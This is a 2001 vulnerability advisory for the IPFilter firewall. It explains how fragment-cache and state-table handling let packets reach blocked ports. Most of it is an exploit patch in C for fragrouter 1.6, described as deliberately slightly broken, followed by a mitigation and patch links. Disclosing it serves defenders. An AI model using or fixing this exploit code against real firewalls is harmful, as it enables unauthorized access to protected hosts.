|
Vulnerability IPFilter Affected IPFilter prior to 3.4.17 Description For those of you using IPFilter, it's time to patch or upgrade to v3.4.17. Seems there's a bug with the way the application handles fragments. A follow-up to this notice was posted by Darren Reed. A *VERY* serious bug has been brought to my attention in IPFilter. In 10 words or less, fragment caching with can let through "any" packet. Ok, so that's 8. When matching a fragment, only srcip, dstip and IP ID# are checked and the fragment cache is checked *before* any rules are checked. It does not even need to be a fragment. Even if you block all fragments with a rule, fragment cache entries can be created by packets that match state information currently held. Thomas Lopatic did following advisory. This vulnerability enables an attacker who has access to a single UDP or TCP port on a host protected by an IP Filter firewall to obtain access to any other UDP or TCP port on the same host. Although this flaw is based on problems handling fragments, it can still be exploited even if the rule-base explicitly blocks all fragmented packets. It seems that this problem has been buried in the source code for quite a while. Thus it is likely that several older releases of IP Filter are also vulnerable. However, the only version that Thomas hs looked at in addition to 3.4.16 is the release included in the OpenBSD 2.8 distribution (3.3.18), which is also vulnerable. When IP Filter evaluates the rule-base for an IP fragment and decides whether to pass it or block it, this decision is saved in a "decision cache" together with the fragment's IP ID, protocol number, source address and destination address fields. Before any received fragment is passed through the rule-base, the decision cache is searched for a matching entry, i.e. an entry in which the IP ID, protocol number, source address, and destination address fields match the corresponding fields of the fragment. If a matching entry is found, the cached decision is applied to the received fragment. Otherwise the fragment is passed through the rule-base. In this way the same decision is applied to all fragments belonging to the same original unfragmented packet. The cache entry is discarded after a timeout period. But an optimization is implemented for the common case of receiving all fragments in order, i.e. from the leading offset-0 fragment to the last fragment with a cleared IP_MF bit. If all fragments are received in order, the cache entry is discarded after IP Filter has seen the last fragment. Let us assume that we can only access port 80/TCP on a host behind an IP Filter firewall and all other ports are blocked. However, we know that the host also runs an FTP server that we could compromise because we have spotted a giraffe in its code. We would therefore like to gain access to port 21/TCP. Hence, we patch Dug Song's fragrouter 1.6 and start doing a bit of packet mangling. For each TCP packet A that we send to port 21 and that we would like to sneak through the firewall, we create a TCP packet B by making a copy of A - i.e. we copy A's IP header, TCP header, and TCP payload - and changing the destination port in B's TCP header to 80. If sent, packet B would be passed by the firewall (in contrast to packet A), because traffic to port 80/TCP is allowed by the rule-base. We then split B into three fragments B1, B2, and B3, keeping B's original IP header and only adjusting the offset and length fields. In the canonical case, these fragments would be sent in order, IP Filter would see B1, go through the rule-base, find the rule that allows traffic to port 80/TCP, pass B1 because it is an offset-0 fragment and the contained TCP header fields match this rule, cache the "pass" decision, receive B2, apply the cached decision to B2, receive B3, apply the cached decision to B3, and discard the cache entry after having processed B3. Now there is a way to make IP Filter not only pass B1, B2, and B3 - i.e. apply the decision cached for B1 to B2 and B3 - but also apply the cached "pass" decision to A. Which is convenient for our purpose of obtaining access to port 21/TCP. Note that the created fragments B1, B2, and B3 contain the same fragment ID, protocol number, source address and destination address as A. Remember that B's IP header is an exact copy of A's IP header and that the fragments' IP headers differ from B's IP header only in their length and offset fields. We fragment B in the following way. If B's TCP payload is less than 13 bytes, we pad it with null bytes. Fragment Offset Length IP_MF Payload ------------------------------------------------------------------------ B1 0 24 1 B's TCP header, i.e. A's TCP header + destination port = 80 bytes 0 to 3 of B's TCP payload B2 24 8 1 bytes 4 to 11 of B's TCP payload B3 32 depends 0 rest of B's TCP payload on B (at least one byte) First we send B1. IP Filter will consider the rule-base, pass the fragment, and cache this "pass" decision. We then send B3 and B2 out of order, i.e. we send B3 before B2. The cache entry created for B1 matches each fragment and the cached "pass" decision is looked up and used in both cases. However, the optimization for in-order fragments mentioned above does not apply and the cached "pass" decision is still kept for a while. In the meantime the destination host reassembles B1, B2, and B3. We now send packet A. Since A has the same IP ID, source address, destination address, and protocol number as the fragments, the cache entry created for B1 also matches A and the cached "pass" decision is applied to A as well. Thus, IP Filter passes A, although it is directed to port 21/TCP and should have been blocked according to the rule-base. Looking at the IP Filter source code, we see that A does not need to be fragmented to make IP Filter search its decision cache for a match, which saves us some work in exploiting this vulnerability. The attack as described up to here can be prevented by adding a filtering rule along the lines of block in quick all with frag which blocks all fragmented IP traffic. However, before considering the rule-base, IP Filter searches its state-table for a connection entry matching the received packet. On a match, IP Filter passes the packet without touching the rule-base. Therefore, we just send B before sending B1, B2, and B3. Receiving B, IP Filter creates an entry in the state-table representing a connection from our computer to the open port on the host that we are attacking, i.e. port 80 to cling to our example. Since B1 contains a full TCP header and we address B1 to the same port as B, B1 is also passed because a matching connection entry in the state-table has already been created by the non-fragmented packet B. The rule-base is ignored as is the "block with frag" rule. Passing B1, however, leads to this "pass" decision being cached, because B1 is a fragment. This in turn allows us to pass B3, B2, and A through the filter. As can be seen the attack still applies even if all fragments are blocked by a filtering rule. If we did not care about the fragments awaiting reassembly in the victim host, we could skip the steps of sending B2 and B3 and just send B1. The effect of IP Filter passing traffic to blocked ports would be identical. Thanks to John McDonald of NAI's COVERT Labs for pointing out the full implications of the vulnerability to Thomas. These are the - intentionally slightly broken - diffs to be applied to fragrouter 1.6 to implement the described attack. Supply the "-M3" option to fragrouter and route all your packets to the fragrouter host to comfortably walk through an IP Filter installation that exposes the described vulnerability. diff -c -r fragrouter-1.6.orig/attack.c fragrouter-1.6/attack.c *** fragrouter-1.6.orig/attack.c Tue Sep 21 17:16:59 1999 --- fragrouter-1.6/attack.c Sat Apr 7 16:59:05 2001 *************** *** 126,132 **** NULL, /* ATTACK_MISC */ "misc-1: Windows NT 4 SP2 - http://www.dataprotect.com/ntfrag/", "misc-2: Linux IP chains - http://www.dataprotect.com/ipchains/", ! NULL, NULL, NULL, NULL, --- 126,132 ---- NULL, /* ATTACK_MISC */ "misc-1: Windows NT 4 SP2 - http://www.dataprotect.com/ntfrag/", "misc-2: Linux IP chains - http://www.dataprotect.com/ipchains/", ! "misc-3: IP Filter - consult the bugtraq archives for April 2001 :-)", NULL, NULL, NULL, *************** *** 209,214 **** --- 209,217 ---- } if (attack_num == 2) { frag = misc_linuxipchains(pkt, len); + } + if (attack_num == 3) { + frag = misc_ipfilter(pkt, len); } if (frag) { send_list(frag->head); diff -c -r fragrouter-1.6.orig/misc.c fragrouter-1.6/misc.c *** fragrouter-1.6.orig/misc.c Tue Sep 21 17:14:07 1999 --- fragrouter-1.6/misc.c Sat Apr 7 17:15:56 2001 *************** *** 206,208 **** --- 206,422 ---- return (list->head); } + + /* + * This demonstrates a fragmentation vulnerability in IP Filter. + * + * The code needs a small corretion to work properly. + * + * Thomas Lopatic, 2001-04-06 + */ + + /* + * These are the ports that we have access to. + */ + + #define IPFILTER_OPEN_TCP_PORT 22 + #define IPFILTER_OPEN_UDP_PORT 53 + + ELEM * + misc_ipfilter(u_char *pkt, int pktlen) + { + ELEM *new, *list = NULL; + struct ip *iph; + unsigned char *frag[3], *mod, *payload; + int i, hlen, off, len[3], copy, rest; + static short id = 1; + + iph = (struct ip *)pkt; + + if (iph->ip_p != IPPROTO_UDP && iph->ip_p != IPPROTO_TCP) + return NULL; + + iph->ip_id = htons(id); + + if (++id == 0) + ++id; + + hlen = iph->ip_hl << 2; + + payload = pkt + hlen; + rest = pktlen - hlen; + + for (i = 0; i < 3; i++) { + + /* + * Select the offset and the length for each fragment + * of the decoy packet. + */ + + switch (i) { + case 0: + off = IP_MF; + if (iph->ip_p == IPPROTO_UDP) + len[i] = 8; + else + len[i] = 24; + break; + + case 1: + if (iph->ip_p == IPPROTO_UDP) + off = 1 | IP_MF; + else + off = 3 | IP_MF; + len[i] = 8; + break; + + default: + if (iph->ip_p == IPPROTO_UDP) + off = 2; + else + off = 4; + if (rest > 0) + len[i] = rest; + else + len[i] = 1; + break; + } + + /* + * Create the fragment. + */ + + if ((frag[i] = malloc(hlen + len[i])) == NULL) { + while (--i > 0) + free(frag[i]); + return NULL; + } + + memcpy(frag[i], pkt, hlen); + + /* + * Copy a piece of payload and pad with null + * bytes if necessary. + */ + + copy = len[i]; + + if (rest < copy) + copy = rest; + + if (copy > 0) { + memcpy(frag[i] + hlen, payload, copy); + payload += copy; + rest -= copy; + } + + if (copy < len[i]) + memset(frag[i] + hlen + copy, 0, len[i] - copy); + + /* + * No need to adjust the checksum. + * It is not verified by IP Filter. + */ + + if (i == 0) + *(unsigned short *)(frag[i] + hlen + 2) = + (iph->ip_p == IPPROTO_UDP) ? htons(IPFILTER_OPEN_UDP_PORT) : + htons(IPFILTER_OPEN_TCP_PORT); + + /* + * Fix the IP header. + */ + + iph = (struct ip *)frag[i]; + + iph->ip_len = htons((short)(hlen + len[i])); + iph->ip_off = htons((short)off); + } + + if (i == 3) + return NULL; + + /* + * First have IP Filter create a state-table entry using + * the original packet with a modified destination port. + */ + + if ((mod = malloc(pktlen)) == NULL) { + free(frag[0]); + free(frag[1]); + free(frag[2]); + return NULL; + } + + memcpy(mod, pkt, pktlen); + + *(unsigned short *)(mod + hlen + 2) = + (iph->ip_p == IPPROTO_UDP) ? htons(IPFILTER_OPEN_UDP_PORT) : + htons(IPFILTER_OPEN_TCP_PORT); + + new = list_elem(mod, pktlen); + free(mod); + + if (new == NULL) { + free(frag[0]); + free(frag[1]); + free(frag[2]); + return NULL; + } + + list = list_add(list, new); + + /* + * Then fragment #1 goes first... + */ + + new = list_elem(frag[0], len[0] + hlen); + free(frag[0]); + + if (new == NULL) { + free(frag[1]); + free(frag[2]); + return NULL; + } + + list = list_add(list, new); + + /* + * ... then fragment #3 (out of order)... + */ + + new = list_elem(frag[2], len[2] + hlen); + free(frag[2]); + + if (new == NULL) { + free(frag[1]); + return NULL; + } + + list = list_add(list, new); + + /* + * ... then fragment #2... + */ + + new = list_elem(frag[1], len[1] + hlen); + free(frag[1]); + + if (new == NULL) + return NULL; + + list = list_add(list, new); + + /* + * ... and finally the original packet. + */ + + new = list_elem(pkt, pktlen); + + if (new == NULL) + return NULL; + + list = list_add(list, new); + + return list->head; + } diff -c -r fragrouter-1.6.orig/misc.h fragrouter-1.6/misc.h *** fragrouter-1.6.orig/misc.h Mon Jul 26 17:08:51 1999 --- fragrouter-1.6/misc.h Sat Apr 7 16:59:05 2001 *************** *** 45,48 **** --- 45,50 ---- ELEM *misc_linuxipchains(u_char *pkt, int pktlen); + ELEM *misc_ipfilter(u_char *pkt, int pktlen); + #endif /* MISC_H */ Solution How to disable fragment caching? In realtime, use adb or gdb or kgdb or whatever to change the variable named "ipfr_inuse" to 1000000. 1000000 isn't important, it just needs to be larger than IPFT_SIZE and an integer. There are no sysctl's on BSD systems to adjust this if securelevel is > 0. IP Filter 3.3.22: ftp://coombs.anu.edu.au/pub/net/ip-filter/ip_fil3.3.22.tar.gz ftp://coombs.anu.edu.au/pub/net/ip-filter/patch-3.3.22.gz http://coombs.anu.edu.au/~avalon/ip_fil3.3.22.tar.gz http://coombs.anu.edu.au/~avalon/patch-3.3.22.gz IP Filter 3.4.17 ftp://coombs.anu.edu.au/pub/net/ip-filter/ip_fil3.4.17.tar.gz ftp://coombs.anu.edu.au/pub/net/ip-filter/patch-3.4.17.gz http://coombs.anu.edu.au/~avalon/ip_fil3.4.17.tar.gz http://coombs.anu.edu.au/~avalon/patch-3.4.17.gz